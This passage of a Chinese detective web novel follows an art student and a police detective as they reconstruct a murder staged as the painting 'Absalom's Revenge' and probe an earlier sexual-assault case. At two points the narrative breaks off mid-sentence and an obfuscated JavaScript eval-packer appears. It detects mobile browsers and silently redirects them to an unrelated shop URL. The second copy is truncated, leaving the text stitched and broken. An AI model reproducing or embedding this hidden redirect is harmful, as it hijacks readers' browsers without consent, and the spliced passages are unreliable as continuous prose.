向眠微微眯了眯眼,转而看向一旁战战兢兢的老板娘,像是为了验证心中的猜测般的,出声询问:“你还记得这扇窗户是什么时候开的?” 老板娘连忙摇头:“我不知道啊!这窗应该是客人他自己开的,我们打扫完都会特意把窗户关上的。” 原来如此—— 短短两句话,向眠就立刻明白了其中的关窍。 她抬眸看向斜靠在窗边的宋立声,对方似乎也察觉到了她的视线,微微挑了下眉,修长的指尖还有一下没一下的搭在窗边轻扣着。 似乎从一开始他就一点点的引导着自己,往这方面思考。 她微微抿了抿唇:“是窗户!” 话音刚落,就见宋立声微微勾了勾唇,身子从窗边挪开了点:“这就是案发现场的第一个漏洞。” 他慢条斯理地分析:“现场只留下了死者一个人的指纹,这也就是意味着凶手在行凶前特意带了手套,为的就是防止留下罪证。这是一起有预谋的杀人案件,凶手是个心思缜密的人。可这样的一个人,为什么特意开着窗户呢?毕竟这扇窗户的角度,一不小心就会被对面的人看到啊!” 说着,他稍稍侧过点身子。 窗户的对面是一条热闹的街市,向眠走到窗边,稍一俯身,就能将街头巷尾的热闹尽收眼底。 这同样意味着,街上的行人只需微微抬头就能看清屋里的一举一动。 只是—— 她收回了目光,转而又在房间里扫视了一圈。 整间房间的摆设并不算多,一眼就能看清全貌,可是除了窗户,她却没再找到其他可疑的地方。 她微微皱了皱眉,问:“那你刚刚说的,第二个漏洞又是什么呢?” “死者身上的衣服。”宋立声直言不讳地说出了答案。 他侧首看向关注点还停留在上一个问题,表情显得有些狼狈的酒店老板娘身上:“除了之前我们过来的那扇门,酒店还有其他侧门吗?” “有有有!这边。”老板娘早就巴不得送他们走了,听到宋立声的询问,她忙不迭的领着他们来到了一条狭窄的鹅卵石小路边。 小路两旁栽满了粉紫色的木槿花。 花瓣摇摇欲坠,时不时地飘落到地面上。 这景象本身不足为奇,可奇怪就奇怪在那些原本应该点缀在小路中央的花瓣,此刻却杂乱的挤在了小路两侧,露出了藏在下方的黑白灰三色鹅卵石。 光滑的表面沾上了一两滴细微的血迹,像是有人拿着沾满了血的拖把,从头拖到尾,断断续续又连绵不断的。 谢扶光一脸不可思议的奇道:“我靠!老大真是神了!你是怎么知道的啊!酒店和孤儿院中间,还有第二条路的啊!” “死者后背的拖痕。” 宋立声不紧不慢地朝前走了几步:“拖痕是死后伤,伤口上沾有花粉和花瓣,也就是说凶手在杀害死者后,以拖拽的方式将尸体转移到了孤儿院。” “可我们从孤儿院过来的路上,并没有在地上看到任何血迹和拖拽的痕迹,那么凶手是怎么神不知鬼不觉地把尸体挪到案发现场呢?” 他顿了顿,点到即止地说:“除非——” 谢扶光一拍脑袋,瞬间就反应了过来:“还有另外一条路!” 宋立声上前一步,弯腰捡起其中一块鹅卵石,装进了透明证物袋里,才接着之前的分析,往下说:“这条小路平时经过的人不多,就算有客人突发奇想来这边溜达溜达,也不会是在一大早。毕竟酒店一夜激情后,又怎么早起的了呢?” 谢扶光忍不住佩服地感叹了句:“还真是哎!” 但过了一会儿,他又绕回到了之前宋立声在酒店里,提及的但还没来得及分析的那第二个漏洞上:“可老大,这和死者身上的衣服有什么联系吗?” 宋立声边走边解释道:“一般情况下,凶手在杀害受害者后,都会想着隐藏尸体,以此来洗清自己的嫌疑。而本案的凶手却选择了截然不同的方式——他故意曝光死者尸体,引起警方的注意。” 谢扶光不明所以地问:“故意曝光?为什么这么说啊老大?” 宋立声似乎早就料到了他会问,他紧接着就分析了起来:“今天是孤儿院开放日,发现尸体的那栋楼又恰巧是孩童表演的地方,肯定会有很多家长过去参观。而酒店是相对密闭的独立空间,任何一个头脑清晰的人都知道哪里更安全,不是吗?” “但凶手却偏偏耗时耗力地将尸体从酒店挪到了大礼堂,还特意给院长换上了表演的服饰。衣服款式繁琐复杂,这意味他需要耗费更多的时间呆在案发现场,同样的他被发现的可能性也就变大了。这完全不符合逻辑……” “任何一个凶手都不可能无缘无故的花一堆时间,冒着被警方发现的可能去置办一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699814|189141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些无关紧要的东西。”向眠捏着下巴,若有所思地喃喃:“除非这件事情本身,就是案件不可割舍的一环……” “又或者说——”宋立声放缓了脚步,意味深长地看向近在咫尺,那扇略显破旧的铁门。 像是被什么人急匆匆地随手给甩上似的,还留着条很明显的缝。 稍一用力,那条缝隙便“咯吱”一声打开了。 他侧过身子,斜靠在门边,双手怀抱于胸,给向眠让出点位置,慢条斯理地接着说:“凶手杀害死者的原因,就藏在他刻意布置的案发现场里。” 案发现场的大楼内空旷了不少,地上的尸体已经被法医带回了警局,只剩下几名小警察用白色粉笔,就着现场残留的印记,勾画下一道道的痕迹线。 痕迹线下,是一幅幅残缺的壁画。 不知道是那名绘画者不擅长人物,又或者是特意空缺了人物的部分,每幅画的主人公都消失的无影无踪。 向眠缓步沿着壁画,一点点的朝死者尸体被发现的地方走去。 古老的街道,繁忙的集市,荒废的城堡…… 每走上几步,就好像置身于一个新的故事里。 然而越靠近,就越觉得不对劲。 她能够敏锐地察觉到有几道暖黄色的光,似有若无地打在她的眼帘上。 光芒微弱,以至于白天经过的时候,她完全没有察觉。 直到现在天色暗沉得几乎透不进一丝光线了,那似有若无的灯光,在寂静的黑夜里,才稍微变得夺目了些。 她微微抿了抿唇,视线朝着那灯光看去,却发现是墙边的几盏小壁灯。 壁灯只零星地开了几盏,角度很是特别,不是正对着儿童表演场地的大门,而是笼罩着她现在所在斜前方…… ——的画作上。 像是有什么人,刻意精心设计的。 为了让进入大楼的人,能够第一眼就关注到这副画上。 画上的油墨异常清晰明亮。 像是不久前……刚刚画上去的? 她微微皱了皱眉,目光不由自主地牢牢锁定在画上。 棕黄色的宫廷,酒红色的窗帘帘缦…… 她好像在哪里看见过这幅画。 会是在哪里呢? 她若有所思地盯着画看了两眼,然后像是突然意识到什么似的,猛地转过头,看向身侧的宋立声:“宋警官!你还记得死者身上穿的衣服是什么样的吗?” 10. 009 宋立声垂眸看了向眠一眼,他并没有问向眠怎么会突然提出这样的问题,只是详细地描述道:“那是一件非常古老的欧式华服,金色的领口,蓝色的丝绸上衣……” 低沉悦耳的嗓音在向眠的耳边逐渐扩开,然而她的脸色却越来越严肃了。 听着宋立声的描述,一些潜藏在记忆深处的,有关王峰维死状的细枝末节逐渐变得清晰了起来…… 繁琐的服饰、死者的姿态…… 一点点的和墙上的画作融汇在了一起。 刹那间,她仿佛看到了,死者置身于画作里,成为了画作中最至关重要的一角。 她微微眯了眯眼,忙开口道:“是行为艺术!” “行为艺术?那是什么东西?”谢扶光疑惑地问道。 向眠耐心仔细地解释道:“艺术表演的一类。表演者穿上特定的服饰,摆出特有的动作,以自身为表演物,连同墙上的画、地上的装饰物,合为一体,彻底的融入画中,以此来演绎作品。” 她顿了顿,接着往下说:“就这间大礼堂墙上的画作看来,今天应该有十几幅作品需要演绎,如果每个作品对应一盏壁灯的话,那么墙边的壁灯数正好和作品数能够对应上,按照正常情况,这些壁灯应该全部打开的。可是现在……” 她的目光快速地扫了圈墙边的壁灯。 十五盏壁灯里只有不过零星的三四盏壁灯亮着光,而这几盏壁灯都不约而同地打在了她面前的画作上,她微微抿了抿唇,然后说:“只开了几盏,而且都打在了同一幅作品上。如果院长不是第一年举办这样的表演,应该不会发生这么低级的错误,所以我怀疑——” 她虽然没有说下去,但宋立声立刻明白了她的言下之意:“这灯光不是院长弄的,而是凶手?” “嗯。”向眠点头应了声,她接着说:“画作可以传递信念情绪,同样也可以藏着凶手想要告诉警方的那些没来得及当面说出口的话。” 谢扶光追问了句:“那这幅画呢?凶手想要表达的是什么意思啊?” “《押沙龙的复仇》。”向眠说出了这幅画的名字,但考虑到现场几人,除了她以外,都不是美术系的学生,所以她打算在解释前,先做一些准备工作。 她抬眸看向宋立声轮廓分明的侧脸,问道:“宋警官,有纸吗?” 早在看见受害者第一眼时,她便觉得受害者身上服饰非常眼熟,只不过当时她正准备去细细一瞧时,却突然被那受害者身体里发出的颤抖声给打断了思绪…… 然而此刻,距离尸体被发现已经过去了两三小时了,大楼里的尸体已经被搬运走了,一些被掩盖的细节,也逐渐清晰明朗了起来。 向眠接过画纸,往后退了两步,干净利落地抽过插在发间的彩铅,任由乌黑微卷的长发,随意地披撒在她的肩胛骨,一点点地勾勒起来。 受害者的死状、墙上的画作、周围的装饰…… 在她的笔下,融为了一体。 画稿以一张桌子为主的,左侧是几名着装华丽的欧式贵族,而右边则是一名男子,他背靠在椅背上,满脸惊恐地抬眸看着天花板,脑袋以一个不正常的角度往后垂着,身子连带着椅子都往后倒去,似乎下一秒就会顺势倒在地上…… 宋立声垂眸,目光在向眠的画稿和斜前方墙上的笔画之间流转。 两幅画非常的相似,那名向后倒去的男子身上的服饰和死者被发现时身上所穿着的欧式华服几乎一模一样。 除了—— 墙面左侧的图案,不知道被谁给抹去了,变成了一片非常突兀的留白。 而画稿上的却是—— 他的视线顺着画稿,落在了向眠手部的动作上,只见黄色彩铅一转,画稿就成型了。 向眠将画纸递到了宋立声的手边,又将彩铅插回到了发间,才一点点地讲述了起来:“这就是名画《押沙龙的复仇》了。” “传闻押沙龙的妹妹遭人/奸/了,押沙龙找到了/奸/犯,趁着他们吃饭的时候,伪装成服务员,趁机杀死了那名/奸/犯……” 说到一半,她的脑海中几乎是条件反射性的想起了第一案发现场,也就是酒店内的那些道具。 这该不会就是院长□□的“罪证”吧? 正这么想着,就听到宋立声问:“所以向同学是怀疑,凶手想要向警方揭示的,是死者曾经性侵□□女生的事情吗?” 向眠“嗯”了声,又说:“只是——” 她挪开了画架,再次走到了画作面前,带着手套的指尖,小心翼翼地抚摸了下墙壁上的画作。 不过短短三五秒,塑料手套上就已经明显地沾上了些黄色颜料。 向眠稍稍凑近了些,一股刺鼻的颜料味瞬间萦绕在她的鼻尖。 她微微皱了皱眉,然后说:“有人不希望警方发现这件事。” 宋立声的目光在墙面上停留了一瞬,循循善诱地问道:“怎么说?” 向眠很认真地解释道:“虽然最近是梅雨季节,颜料干的会比较慢,但这栋大楼的作品,应该是统一绘制的。其他的作品都已经干了,颜色暗沉,最起码得一个多月了,但是我们面前的这副,底部却隐隐有点渗墨。” 她朝着宋立声抬起手,指腹上的一抹黄色颜料显得格外的瞩目:“就颜料的留墨程度看来,应该是刚涂上去没一会儿,大约是今天早上五六点,也就是死者死后的半小时左右。” “凶手特意将死者从酒店挪到了这儿,并且在现场画下了一整副画作,甚至还特意给死者换上了对应的表演服装,为的就是尽可能的还原案发时的场景。” “可现在这幅画却被破坏了,应该是凶手离开和我赶到这中间,还有其他有人也来过这儿,看到了这副画作,认出了它,为了不让其他人知道院长‘强/奸’的这件事,所以特意破坏了这幅画。” “这也就是为什么我们赶到现场时,看到的尸体和这幅画作的位置是分开的。可是……” 她顺着前面所说的,脱口而出地问了句:“他又为什么要那么做?又会是谁呢?” “知情者,又或者是参与者。”宋立声不疾不徐地分析道:“无论凶手还是那名神秘人的目标都是为着这幅画,这也就意味着,我们只要查清楚性侵案究竟是怎么一回事,再顺藤摸瓜找到当时的涉事人员,就可以知道他是谁了。” 他虽然这么说着,但是却没觉得那么简单,毕竟如果真的那么简单的话,也许从一开始就会顺着党昭孤儿院的事,看到有关性侵的档案。 可现在什么都没有。 就在他准备让谢扶光做进一步调查时,却听身后传来一阵细若蚊呐地喃喃声:“性侵案?该不会和那件事情有关吧?” 向眠顺着那声音回过头,只见姜念有些怯懦地来到了他们的身边,小声地嘀咕了句。 她闻言,立刻出声询问:“你说的是什么事?” 姜念眼睛滴溜溜的转了一圈,确定周围没什么人后,凑近了些压低嗓音,开口说:“我刚来这边工作的时候,听说过一件事情,是关于王院长的。” 她想了下,又补充了句:“性侵的事情——” 她说:“据说几年前,他□□猥亵了一名女生。那名女生当时不过二十出头的样子,还没结婚,突然遭遇了这样的事情,一下子无法忍受,上吊自杀了。” “当时她好像就是在这个大礼堂……”姜念的视线转了圈,然后指了指斜后方的铁栏杆,说:“那边上吊的。等有人发现她时,她已经死透了,王院长嫌她晦气,让人把她给弄走了。” “事后,他怕这件事情曝光,就把这些个地板什么的都换了个遍。但即便这样,过了半年不到,那小姑娘的爸听说了这件事,还是来了孤儿院,想找王院长要个说法。但谁知道,他刚来学校就碰到了党昭那孩子,两个人不知道怎么回事,突然打了起来,那小姑娘的爸爸年纪大了,一不小心从楼梯上跌了下去,就……” “去世了吗?”向眠猛地瞪大了眼,她不可思议的看向宋立声,问:“宋警官,这是不是你之前提到的党昭早年伤人的那起案件?” 见宋立声点头应了声,向眠的心里瞬间咯噔了下:怎么会这么巧! 几年前,遭到性侵的小姑娘父母去找孤儿院的院长讨要说法,阴差阳错的被党昭意外杀死了;几年后,党昭被人引导着成了美术馆案的连环杀人案,调查此案的警方顺着线索来到孤儿院时,却孤儿院的院长早一步被人给杀死了,案发现场还特意强调了性侵…… 这……这两起案件之间会不会有什么联系呢? 向眠微微皱了皱眉,两起案件间看着有很多的联系,处处都是线索和可疑点,却像是杂乱无章的毛线团,看着很乱哪里都很可疑,但却找不到真正的线头究竟在哪里。 她想了下,问了个看似毫无联系的问题:“当时发生 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“至于王峰维案件要么是巧合,要么就是凶手故意模糊警方的视野,想要将注意力转移到曾经的案件上。” 向眠心下一亮:“这么说来,是不是意味着只要以第一起案件当作突破口,追查当时的相关人员,案件就可以迎刃而解了?” 说话间,她的眼角眉梢都染上了些清明,然而说到一半,她的声音却不由自主地压低了些。 她能够敏锐的察觉到有一双眼睛在暗处盯着自己,那人的视线紧紧地锁住自己的背影,让她瞬间头皮发麻。 她的脑海中莫名地浮现出,之前美术馆前见到的那名神秘女生—— 会不会就是她?! 她几乎是条件反射地转过头。 引入眼帘的却是一家狭小的甜品店。门口摆着一块用咖啡豆做成的招牌,看不清店名。只能隐约的看见店里面静悄悄的,虽然亮着灯光,却空无一人。 而几乎是她回过头的那一瞬间,那道存在感极强的冰冷的视线也登时消失的无影无踪,连带着那股令人窒息的压迫感也随之消退。 向眠怔怔地望了几眼,略显疑惑地自言自语:“怎么会这样呢?” 她和宋立声离得很近,哪怕她说的很轻,依旧传到了宋立声的耳朵里。 他侧首看向向眠,问:“怎么了?” “我……”向眠正要说些什么,忽而心下一亮。 当时她是背对着那家甜品店的,而宋立声站在她的对面。 这意味着,宋立声的视线应该落在马路对面,正好就能看到甜品店内的动静。 她忙问:“宋警官,你前面有看到什么人经过对面的甜品店吗?” “有啊!”宋立声说:“她不正站在店门口吗?” 向眠猛地回过头。 只见一名系着围裙,扎着羊角辫的小姑娘,从后面的小隔间里走了出来。 她似乎完全没有查觉到向眠和宋立声正盯着自己,拿着纸张一样的东西朝着柜台走去。 用鹅卵石做成了咖啡豆的形状,高低不一地摆在了甜品店的地上,经过玻璃门边的时候,她一个不小心险些绊倒在地。 就在她撑着地面站起身的瞬间,目光恰巧和向眠的视线撞在了一起。 那是一双很干净的眼睛,亮晶晶的看着向眠的方向笑了笑,和之前向眠感觉到的那道令人不寒而栗的视线截然相反。 垂在身侧的手不自觉地蜷缩了下。 这—— 难道是她太多虑了?随便碰到一个人都以为是那名神秘的女生了?! 可即便是这样,心头那股不安依旧没有消散,像暗潮在静默中逐渐翻涌。 不知道怎么回事,可能是受了那通电话的刺激又或者是其他什么,她总感觉似乎有双眼睛,从她做完手术后,就一直在暗处窥探着自己的一举一动。 她微微抿了抿唇,就听宋立声说:“听说过这么一种说法吗?脑子里的记忆也是会骗人的。所以如果你觉得某件事情很熟悉,要么是真的经历过,不小心被你遗忘了;要么,就是因为心理作用,让你产生了幻觉。所以——” “嗯?”向眠。 见向眠侧过脑袋,视线挪到他的脸颊上时,他无奈地叹了口气,说:“现在你应该好好休息休息,放松一下脑神经了。” 说着,他转而看向一旁无所适从的姜念:“姜老师,还有多余的寝室吗?” 11. 010 孤儿院的小床是稻草铺的,窗外又下起了小雨,连带着床铺都有些潮湿。 向眠躺在床上,左手搭在眼帘上,静闭着眼眸,有一搭没一搭地听着雨滴滚过窗沿发出淅沥沥的声响。 但很快,绵绵雨声就被急匆匆的脚步声和一些细碎的说话声给掩盖了。 那些声音东一茬西一下,时远时近,像是在空旷草原上传来的回声,又像是只隔了层薄膜,嗡嗡嗡的怎么也听不真切,但却没有办法假装听不到。 向眠微微皱了皱眉—— 奇怪!这大半夜的,孤儿院的人不睡觉在干什么呢? 她翻了个身,拿起枕头盖住脑袋,企图遮挡那些声音。 然而那声音却越来越响,越来越近,像是贴在她耳边似的:“你听说了吗?517号床的患者醒了,警察正在审问呢!” 517号床……怎么这么熟悉呢? 总感觉好像在哪里听到过似的,不等她想清楚,就听到另一道声音跟着响了起来:“517号床?是之前美术馆的那个吗?她不是成植物人了吗?居然这么快就醒了?!” 美术馆! 向眠的眼前一亮—— 如果之前只是有个模糊的熟悉感,那现在她几乎可以完全确定了! ——是孙丽娜! 孙丽娜她醒了!!! 她心下一喜,没怎么多想,就推门跑了出去。 映入眼帘的不是黑漆漆的孤儿院,而是一条明亮的走廊,浓重的消毒水味扑面而来,她居然莫名其妙地来到了医院?! 然而此时的她,显然还没有意识到这一点,只顾着快速追上那两名即将离开的护士,像是为了确定什么似的,她的语速略显焦急:“你们说的是孙丽娜吗?” 两名护士显然没有想到会被向眠突然拦下,有些莫名地看了她一眼,才慢吞吞地点了点头。 向眠见状彻底松了口气,片刻也没有停地朝着517号病房奔去。 不知道是因为过于心急,又或者其他什么原因,她在走廊上找了很久,却始终找不到517号房,那间病房像是无缘无故消失了般,怎么也找不到。 难不成她迷路了? 好看的眉头皱成一团,她的目光沿着医院大厅仔细地绕了一圈,最终落在了不远处的问诊台上:“你好,请问517号……” 然而话刚说到一半,她却愣在了原地。 她惊奇地发现,周围忽然变得很安静,连呼吸声都听不到,眼前的志愿者更是一动不动的像是一个木头人。 她不可思议地瞪大了双眼—— 但下一秒,她就见志愿者恢复了笑容,出声询问:“您好,请问有什么需要帮助的吗?” 明明是很温和的口吻,很得体的笑容,可落在向眠的眼里,却像是上了发条的机器人突然开始运转了。 她不自觉地往后退了步,猛地抬眸朝四周看去,周围的人群又开始动了起来,仿佛刚刚短暂的停顿只是她的错觉。 她深深地吸了口气,尽量让语气显得平和一些:“你好,517号房往哪里走呀?” 话音刚落,她就见对方用很奇怪的眼神看着自己,然后指了指斜对面:“就在那边呀!” 向眠有些疑惑地顺着她手指的方向看去,却发现她找了很久的病房居然就在她的身后! 这—— 怎么会这样呢?! 她前面经过的时候,明明什么都没有看到啊!怎么会突然出现了呢?! 不等她作何反应,就听“咯吱”一声,病房门毫无征兆地打开了口,像是被打开的潘多拉魔盒,无声地邀请着她进入其中。 向眠微微皱了皱眉,她试探性地上前一步,轻而易举地就听到了病房内传来一道低沉的嗓音:“晋州市公安局宋立声,找你问几个问题……还记得当时美术馆袭击你的人是谁吗?” 宋立声! 向眠顺着那声音看去—— 孙丽娜此刻正吊着盐水,躺在病床上,而宋立声则坐在她的床边不紧不慢地询问着。 她像是看到救星般,忙走上前,就在她要和宋立声讲起刚刚诡异的经过时,却被“啊——”的一声尖叫给打断了。 只见孙丽娜正一脸惊恐地盯着自己看。她不断地后退着,嘴里振振有词:“是她!美术馆袭击我的人,就是她——” 向眠一脸蒙圈:“这怎么可能呢?我是向眠呀!你不记得我了吗?” 可回答她的依旧是孙丽娜的失声尖叫。 她微微皱了皱眉,转而看向宋立声:“宋警官,您应该还记得的吧?凶手不是我,是党昭啊!” 几乎是同一时间,走廊里电视播报的声音也跟着响了起来,是关于美术馆凶杀案的。 她心中一动,如果她记得不错的话,当时在新闻报道里主持人曾通报过党昭的信息。 她忙扯住了宋立声的袖子,指着电视机说:“你看!党昭!” 然而下一秒,她却面如死灰—— 新闻里只有案件的现场画面,并没有提及党昭。 她愣在了原地,心脏猛地一紧:“这……这怎么可能?” 话音未落,就被一名穿着制服,带着黑框眼镜的小警察给打断了。 他急匆匆地走到了宋立声的身旁,然后用一种略显警惕的眼神打量着自己:“宋队,查到了。经医院检测,向眠她患有严重的精神分裂症,时常会在行凶后将自己幻想成一个可怜的受害者。” “你说什么?”向眠难以置信地质问。 但是那名小警察却是一副很认真地模样,完全不像是在开玩笑。 “我没有!我没有!”她像是被当头一棒,头晕目眩的:“你胡说八道!明明就是党昭啊!” 可当她的视线不经意地对上宋立声的双眸时,却是怔愣在了原地。 他的眼底没有一丝信任,只剩下了审视。 她愣了下,像是被宋立声眼底的怀疑惊到似的,拉着宋立声的手一松,下意识的后退了一步:“宋警官,你该不会也以为是我吧?” 宋立声没有说话,但他的态度却像是一把锋利的刀砍断了向眠心底最后一根防线,她的心头一惊,不自觉地往后退了几步,嘴里无意识地低语着:“不是我!不是我!真的不是我——” 她的声音从最开始的呢喃,越来越响……到最后逐渐成了发自心底的呐喊。 “——不是我!” 尖叫声划破狭小的病房,撕开了一个口子,刺眼的阳光顺着这条狭窄缝隙漏了下来,直直地打在她的眼帘上。 长而密的睫毛有些难受的眨了眨,她挣扎着睁开了眼,胸膛还在小幅度地起伏着,双手下意识地攥住了身下的床单。 清晨的第一束暖阳透过窗户,柔软地洒在被单上,原本有些潮湿的床铺已经干了。 她拿起手机看了眼,现在不过才早上六点,正准备接着睡个回笼觉时,却听见门外传来了一阵敲门声。 敲门声不紧不慢的,持续了三两下。 那人并没有直接进来,而是将什么东西放在了门口,就在她不知道对方究竟想干些什么的时候,恰巧听到那人开口:“向同学,怎么了?” 低沉的嗓音从门缝间传来了进来。 是宋立声。 向眠下意识地松了口气:“没事,做了个噩梦。” 大约过了几秒钟,她听到宋立声“嗯”了声,说:“洗漱用品给你放在门口了,起床了直接用就行。” 说着,他便转身离开了。 听着门外渐行渐远的脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我叫来的,他是曾经负责‘性侵案’的警员——江秋。”宋立声看向向眠,问,“怎么?你认得他?” 警员江秋…… 她应该不认的啊!那梦里的怎么会这么像?! 难道她曾经无意中见过他?! “江秋?”她微微皱了皱眉,但到底还是摇了摇头:“不好意思,我……我好像认错人了。” 江秋显然没察觉到她的异样,笑了笑:“没事的哈哈我长了张大众脸,认错很正常的事。” 宋立声也没再多问,转而和江秋讨论起了案件:“说说吧,‘性侵案’究竟是怎么一回事?” 昨天晚上在向眠睡着后,宋立声和谢扶光就接着进行调查,然而越往下查,越发现事情的经过和姜念所说的,存在着明显的差距。 故而,今天一早就把负责此案的警察叫了过来。 只听江秋叹了口气,说:“事情是这样的,几年前警方接到了一起报案,报案人名叫施恩。她报警说王峰维□□性虐她,然后当时带我的师父立刻就对这件事情展开了调查。” “我们来过孤儿院,也找到了王峰维,可孤儿院里没有监控,至于王峰维更是向我们,提供了他和施恩恋爱的证据,大量的转账记录,以及不定时送给女生的礼物……” “王峰维的证据很充足,完全能够证明他们是恋爱关系,而据他所说,施恩是个具有表演性格的女生,她非常喜欢假装被□□或者出轨这类的受害者。至于她报案时提及的性侵不过是因为有次逛街时,他没能满足她的需求,就遭到了她的诬陷” “而且我们当时也询问了孤儿院里的其他老师,有没有人知道这件事的内情,可大家都说:他们是恋人关系。” “所以疑罪从无。” “警方不得已,只能暂停调查,让施恩有其他线索或者再有需要时,再进行报案。” “后面消停了一阵,施恩没再来过。就在我们以为施恩和院长俩人关系和好时,她却再次来到了警局。她说——” “她找到了另一名受害者。” 12. 011 “可是当我们询问那名女生事情的经过时,她却突然反水了。” “她一口咬定是施恩出钱让她做的伪证。” “出于谨慎,当时带我的师傅特意留了个心眼,根据那名女生所说的调取了银行和医院的监控。” “监控显示——” “那名女生没有说谎。在她们俩来到警局的前两天,施恩的确从银行里取了一笔钱给了那名女生。” “人证物证都在,施恩的报案再次无法被受理。这也变相证实了第一次王峰维所说的话。” “因为这两次的事情闹得挺大的,再加上孤儿院这块说大不大说小不小。所以这件事情很快就传得人尽皆知,很多人都对施恩,指指点点的……” 听着江秋略带惋惜的点到为止,向眠微微皱了皱眉—— 这么听起来,似乎整个过程和逻辑都没有任何问题。 可是,事情如果真的和江秋说的一样的话,难道不应该所有的人都认定王峰维是受害者,而施恩是迫害者吗? 那么姜念的传言又是从哪里听说的呢? 除非这件事情,还有其他的转折—— 果不其然,下一秒就听江秋话锋一转:“没过多久,施恩自杀了。又过了几周,她爸爸不知道从哪里听说了这件事,连夜赶到了孤儿院,本来是要找王峰维问个明白的。但不知道中间发生了什么事,阴差阳错的和孤儿院的一个学生……好像叫党昭来着,发生了冲突,一不小心失足坠楼而亡……” “事后警方曾去调查过这起案件,但因为是死者自己不小心摔下楼的,再加上党昭没有成年,精神方面好像也有点问题,就不了了之了。” “不过这件事情说到底还是过于巧合了,所以慢慢的就有人开始怀疑:这两件事情里,会不会有什么隐情呢?” 江秋虽然没接着往下细说,但另一种说法就已经显而易见了。 只是—— 虽然江秋和姜念两人所说的结果,都是那名女生自杀了。 但是经过却是截然相反的,就像是硬币的正反两面,有着千丝万缕的联系,可又是完全相反的图案。 “事情的经过究竟是怎么样的呢?”向眠不自觉地咬了下指甲,她的脑海中适时地浮现出了王峰维的死状。 凶手刻意大费周章的将王峰维的尸体布置成《押沙龙复仇》的模样?难道没有掺杂任何的个人情绪吗? 案件的真相真的是警方查到的那样吗?还是藏着什么不为人知的隐情呢? “这个答案,我想也许有个人可以告诉我们。”宋立声缓缓地说,“在王峰维性侵案中,除了几名当事人,还有一个人也清楚的知道着整个事情的经过。” 向眠顺着宋立声说的话,稍微思索了下就明白了他的意思,她问:“你说的是——那名作证的女生吗?” “就是她,这名女生和王峰维、施恩间肯定有着千丝万缕的联系。”宋立声说着,视线转而落在了江秋的身上,“你还记得她是谁吗?” “作证?”江秋摇了摇头:“宋队你可别为难我了,这事情都过去那么久了,案子也没有立案,而且她也不是当事人,我……” 他这话说的倒是不假,现在距离当时的案件已经过去了整整两三年了。 想要回忆起案件的细节,尤其是个不怎么重要的“证人”,倒也不是一件易事。 就在向眠思索着该去哪里寻找那名女生的踪迹时,却听宋立声不紧不慢地再次开口了。 他并没有再执着于询问那名女生的长相,而是问了一些有点联系,但又关联不大,且容易记住的事情:“那你还记得当天的天气怎么样吗?” 江秋微微愣了下,似乎没有想到宋立声会问这么日常的问题,但他还是老老实实地回答:“我记得那是个下雨天,还打着雷。” 话音刚落,他就听宋立声略带肯定地“嗯”了声,接着问:“那当时你在干什么呢?” “我在……” 江秋的思绪慢慢地被拉远了些,他记得那天打着雷,雷声格外的响,银白色的闪电扑闪扑闪的劈在了他眼前的玻璃窗外,让他一度觉得下一道雷会破开窗户,直直地打在自己面前的电脑上。 而他不知道从哪里听说的,也许是老一辈口口相传的吧,以至于他总觉得如果雷劈在电脑上的话、会连带着电到正在用电脑的他,所以他很慌乱的…… “——关电脑。” …… 向眠听着宋立声又连着问了几个无关紧要的问题后,才顺着他提供的情形,循循善诱地抛出了最关键的问题:“就在这时候,你看到个很年轻的小姑娘过来报案了。这并不是她第一次报案,所以刚见到她,你就认出了她,也知道她是为什么而来的。果然,她重复着上一次来时说的内容,只是这一次,她带了另一个和她年轻相仿的小姑娘……” 说到这儿,他停顿了下,没有继续往下说,而是微微抬眸,一瞬不瞬地看向眼前的江秋,慢悠悠地问:“她说了些什么?” 随着宋立声一点点地诉说着当时的情形,向眠惊奇地发现原本微垂着脑袋陷入回忆的江秋,缓缓地抬起了头,他的目光一转,直直地落在了大礼堂的西北方向。 她顺着江秋的视线看去,如果她记得没错的话,那好像是当地分局的位置。 而几乎是同一时间,原本已经停歇的暴雨,又开始断断续续地落了下来,从最开始的毛毛细雨,到后面噼里啪啦的暴雨,伴随着轰隆轰隆的闪电声,仿佛和一年前那两名女生前来报案时的场景如出一辙。 江秋定定地看向远处,仿佛透过孤儿院的围栏,看到了两名女生从人来人往的警局门口走了进来。 他有些无意识地开口说:“——她这次找到了可以帮她作证的人!” 从进开始询问到现在不过短短半小时的时间,而在这么短的时间内,宋立声竟是已经撬开了江秋的嘴,从他那遥远而又纷乱的回忆里拉出了当时的细枝末节。 向眠不可思议地看着眼前一幕,下一秒,就有人直接说出了她的心声:“怎么样?是不是很厉害?” 不知道什么时候,谢扶光已经挪到了自己的身边,她下意识地点了点头,然后就听谢扶光有与荣焉地说:“有眼光,我和你讲,宋队他除了是一名警察外,更是国内首屈一指的心理咨询师。你是没见过他曾经……” 他顿时来了劲,滔滔不绝地说个不停,然而就在向眠听到最关键的地方时,说话声戛然而止了。 “怎么了?”向眠下意识地抬眸看向谢扶光,却听到一道更为低沉性感的嗓音在她的耳边响起:“不值一提的小事罢了。” 她下意识地侧过头,恰巧撞进了宋立声的眼里。 “江秋差不多记起来了。”他上前一步,将一张画纸递到向眠的手边,“那就麻烦向同学了。” 向眠点了点头,跟着宋立声来到了江秋的正前方。 只听宋立声不紧不慢地对着江秋接着说:“你顺着她说的话,朝着她身后看去。发现她的身后跟着一名女生,而那名女生听到她说的话,也适时地从她的身后走了出来,直到这时你才终于看清了那名女生的模样,她是什么样的呢?” 江秋就像是亲眼见到了那名女生似的,慢吞吞地开口:“她的皮肤很白,眼睛不大,窄窄的,有点鹰钩鼻……” 而向眠则快速地抽出了插在发间的黄色彩铅,按照他的描述,一点点地勾勒了起来。 